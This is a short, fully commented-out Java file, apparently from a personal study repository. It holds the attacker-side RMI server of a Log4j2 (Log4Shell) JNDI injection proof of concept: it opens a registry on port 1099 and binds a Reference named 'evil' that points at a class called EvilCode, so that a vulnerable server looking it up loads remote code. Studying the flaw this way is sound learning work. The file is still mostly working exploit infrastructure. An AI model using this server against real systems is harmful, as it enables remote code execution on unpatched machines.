//package com.agile.leetcode.log4j2vulnerability;
//
//import com.sun.jndi.rmi.registry.ReferenceWrapper;
//
//import javax.naming.Reference;
//import java.rmi.registry.LocateRegistry;
//import java.rmi.registry.Registry;
//
///**
// * @Author:ChenZhangKun
// * @Date: 2021/12/19 16:13
// */
//public class RMIServer {
//    public static void main(String[] args) throws Exception {
//        LocateRegistry.createRegistry(1099);
//        Registry registry = LocateRegistry.getRegistry();
//        System.out.println("Create RMI registry on port 1099");
//        // 返回的Java对象  参数列表第一个是包路径
//        Reference reference = new Reference("com.agile.leetcode.log4j2vulnerability.EvilCode", "com.agile.leetcode.log4j2vulnerability.EvilCode", null);
//        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
//        // 把远程对象注册到RMI注册服务器上，并命名为evil
//        registry.rebind("evil",referenceWrapper);
//    }
//}
